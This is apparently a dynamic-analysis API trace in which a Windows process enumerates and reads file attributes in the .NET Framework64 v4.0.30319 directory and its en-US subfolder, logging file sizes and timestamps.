	[0088.518] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\diasymreader.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\diasymreader.dll"), fInfoLevelId=0x0, lpFileInformation=0x125e1d68 | out: lpFileInformation=0x125e1d68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x59197640, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x1148b0)) returned 1
	[0088.518] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\dv_aspnetmmc.chm" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\dv_aspnetmmc.chm"), fInfoLevelId=0x0, lpFileInformation=0x125e1db8 | out: lpFileInformation=0x125e1db8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dd0800, ftCreationTime.dwHighDateTime=0x1ca299a, ftLastAccessTime.dwLowDateTime=0x9ec73840, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x3dd0800, ftLastWriteTime.dwHighDateTime=0x1ca299a, nFileSizeHigh=0x0, nFileSizeLow=0x1c1bb)) returned 1
	[0088.518] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x125e1e08 | out: lpFileInformation=0x125e1e08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ace6100, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x6b875b80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x6b875b80, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0088.518] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.519] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ace6100, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x6b875b80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x6b875b80, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.519] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ace6100, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x6b875b80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x6b875b80, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.519] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x5cdfe480, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x18358, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Windows.ApplicationServer.Applications.dll.mui", cAlternateFileName="MICROS~1.MUI")) returned 1
	[0088.519] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x5f6297c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0xaad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ServiceModelEvents.dll.mui", cAlternateFileName="SERVIC~1.MUI")) returned 1
	[0088.519] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x5f675a80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x4ce8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ServiceModelInstallRC.dll.mui", cAlternateFileName="SERVIC~2.MUI")) returned 1
	[0088.519] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x5f6c1d40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0xb910, dwReserved0=0x0, dwReserved1=0x0, cFileName="ServiceModelPerformanceCounters.dll.mui", cAlternateFileName="SERVIC~3.MUI")) returned 1
	[0088.519] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x611170a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x92d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ServiceModelRegUI.dll.mui", cAlternateFileName="SERVIC~4.MUI")) returned 1
	[0088.519] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x6b875b80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x5d28, dwReserved0=0x0, dwReserved1=0x0, cFileName="WorkflowServiceHostPerformanceCounters.dll.mui", cAlternateFileName="WORKFL~1.MUI")) returned 1
	[0088.519] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.519] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.519] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\Microsoft.Windows.ApplicationServer.Applications.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\microsoft.windows.applicationserver.applications.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0x125fe058 | out: lpFileInformation=0x125fe058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x5cdfe480, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x18358)) returned 1
	[0088.520] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\ServiceModelEvents.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\servicemodelevents.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0x125fe0a8 | out: lpFileInformation=0x125fe0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x5f6297c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0xaad8)) returned 1
	[0088.520] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\ServiceModelInstallRC.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\servicemodelinstallrc.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0x125fe0f8 | out: lpFileInformation=0x125fe0f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x5f675a80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x4ce8)) returned 1
	[0088.520] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\ServiceModelPerformanceCounters.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\servicemodelperformancecounters.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0x125fe148 | out: lpFileInformation=0x125fe148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x5f6c1d40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0xb910)) returned 1
	[0088.520] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\ServiceModelRegUI.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\servicemodelregui.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0x125fe198 | out: lpFileInformation=0x125fe198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x611170a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x92d8)) returned 1
	[0088.521] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\WorkflowServiceHostPerformanceCounters.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\workflowservicehostperformancecounters.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0x125fe1e8 | out: lpFileInformation=0x125fe1e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x6b875b80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x5d28)) returned 1
	[0088.521] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\fusion.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\fusion.dll"), fInfoLevelId=0x0, lpFileInformation=0x125fe238 | out: lpFileInformation=0x125fe238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x59386820, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x1ac98)) returned 1
	[0088.521] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ilasm.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\ilasm.exe"), fInfoLevelId=0x0, lpFileInformation=0x125fe288 | out: lpFileInformation=0x125fe288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x593f8c40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x55298)) returned 1
	[0088.521] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ilasm.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\ilasm.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x125fe2d8 | out: lpFileInformation=0x125fe2d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b4b100, ftCreationTime.dwHighDateTime=0x1cac604, ftLastAccessTime.dwLowDateTime=0x9ed7e1e0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x53b4b100, ftLastWriteTime.dwHighDateTime=0x1cac604, nFileSizeHigh=0x0, nFileSizeLow=0xdf)) returned 1
	[0088.522] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\jsc.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\jsc.exe"), fInfoLevelId=0x0, lpFileInformation=0x125fe328 | out: lpFileInformation=0x125fe328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x594dd480, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xb490)) returned 1
	[0088.522] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\jsc.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\jsc.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x125fe378 | out: lpFileInformation=0x125fe378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b4b100, ftCreationTime.dwHighDateTime=0x1cac604, ftLastAccessTime.dwLowDateTime=0x8ac4db80, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x53b4b100, ftLastWriteTime.dwHighDateTime=0x1cac604, nFileSizeHigh=0x0, nFileSizeLow=0x119)) returned 1
	[0088.522] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\locale.nlp" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\locale.nlp"), fInfoLevelId=0x0, lpFileInformation=0x125fe3c8 | out: lpFileInformation=0x125fe3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1549e00, ftCreationTime.dwHighDateTime=0x1d090d6, ftLastAccessTime.dwLowDateTime=0x5c49ede0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xf1549e00, ftLastWriteTime.dwHighDateTime=0x1d090d6, nFileSizeHigh=0x0, nFileSizeLow=0x66730)) returned 1
	[0088.523] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\msbuild.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\msbuild.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x125fe418 | out: lpFileInformation=0x125fe418*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20195d00, ftCreationTime.dwHighDateTime=0x1cac5eb, ftLastAccessTime.dwLowDateTime=0x9ef93520, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x20195d00, ftLastWriteTime.dwHighDateTime=0x1cac5eb, nFileSizeHigh=0x0, nFileSizeLow=0x6c6)) returned 1
	[0088.523] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscordacwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscordacwks.dll"), fInfoLevelId=0x0, lpFileInformation=0x125fe468 | out: lpFileInformation=0x125fe468*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x5d085be0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x1a74b0)) returned 1
	[0088.523] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscordbi.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscordbi.dll"), fInfoLevelId=0x0, lpFileInformation=0x125fe4b8 | out: lpFileInformation=0x125fe4b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x5d0abd40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x1722a0)) returned 1
	[0088.524] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoree.tlb" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoree.tlb"), fInfoLevelId=0x0, lpFileInformation=0x125fe508 | out: lpFileInformation=0x125fe508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99ff7000, ftCreationTime.dwHighDateTime=0x1d0aa7e, ftLastAccessTime.dwLowDateTime=0x5d0f8000, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x99ff7000, ftLastWriteTime.dwHighDateTime=0x1d0aa7e, nFileSizeHigh=0x0, nFileSizeLow=0x7800)) returned 1
	[0088.524] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll"), fInfoLevelId=0x0, lpFileInformation=0x125fe558 | out: lpFileInformation=0x125fe558*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x5d11e160, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x96aa0)) returned 1
	[0088.524] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreeis.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreeis.dll"), fInfoLevelId=0x0, lpFileInformation=0x125fe5a8 | out: lpFileInformation=0x125fe5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x5d1442c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x80a8)) returned 1
	[0088.524] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorlib.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscorlib.dll"), fInfoLevelId=0x0, lpFileInformation=0x125fe5f8 | out: lpFileInformation=0x125fe5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x5d1b66e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x5078a0)) returned 1
	[0088.525] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorlib.tlb" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscorlib.tlb"), fInfoLevelId=0x0, lpFileInformation=0x125fe648 | out: lpFileInformation=0x125fe648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17a90e00, ftCreationTime.dwHighDateTime=0x1cd8fff, ftLastAccessTime.dwLowDateTime=0xcff389a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x17a90e00, ftLastWriteTime.dwHighDateTime=0x1cd8fff, nFileSizeHigh=0x0, nFileSizeLow=0x7e620)) returned 1
	[0088.525] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpe.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscorpe.dll"), fInfoLevelId=0x0, lpFileInformation=0x125fe698 | out: lpFileInformation=0x125fe698*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x5d2c1080, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x184a0)) returned 1
	[0088.525] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscorpehost.dll"), fInfoLevelId=0x0, lpFileInformation=0x125fe6e8 | out: lpFileInformation=0x125fe6e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x5d2e71e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x290b0)) returned 1
	[0088.526] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscorrc.dll"), fInfoLevelId=0x0, lpFileInformation=0x125fe738 | out: lpFileInformation=0x125fe738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x5d30d340, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x612a0)) returned 1
	[0088.527] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsecimpl.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscorsecimpl.dll"), fInfoLevelId=0x0, lpFileInformation=0x125fe788 | out: lpFileInformation=0x125fe788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x5d3334a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x1eab0)) returned 1
	[0088.527] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsn.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscorsn.dll"), fInfoLevelId=0x0, lpFileInformation=0x125fe7d8 | out: lpFileInformation=0x125fe7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x5d37f760, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x66a0)) returned 1
	[0088.527] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscorsvc.dll"), fInfoLevelId=0x0, lpFileInformation=0x125fe828 | out: lpFileInformation=0x125fe828*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x5d3a58c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x7eca0)) returned 1
	[0088.527] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscorsvw.exe"), fInfoLevelId=0x0, lpFileInformation=0x125fe878 | out: lpFileInformation=0x125fe878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x5d3f1b80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x1e4b8)) returned 1
	[0088.528] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\netmemorycache.h" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\netmemorycache.h"), fInfoLevelId=0x0, lpFileInformation=0x125fe8c8 | out: lpFileInformation=0x125fe8c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccbe2500, ftCreationTime.dwHighDateTime=0x1ca29a0, ftLastAccessTime.dwLowDateTime=0x9efb9680, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xccbe2500, ftLastWriteTime.dwHighDateTime=0x1ca29a0, nFileSizeHigh=0x0, nFileSizeLow=0x17d)) returned 1
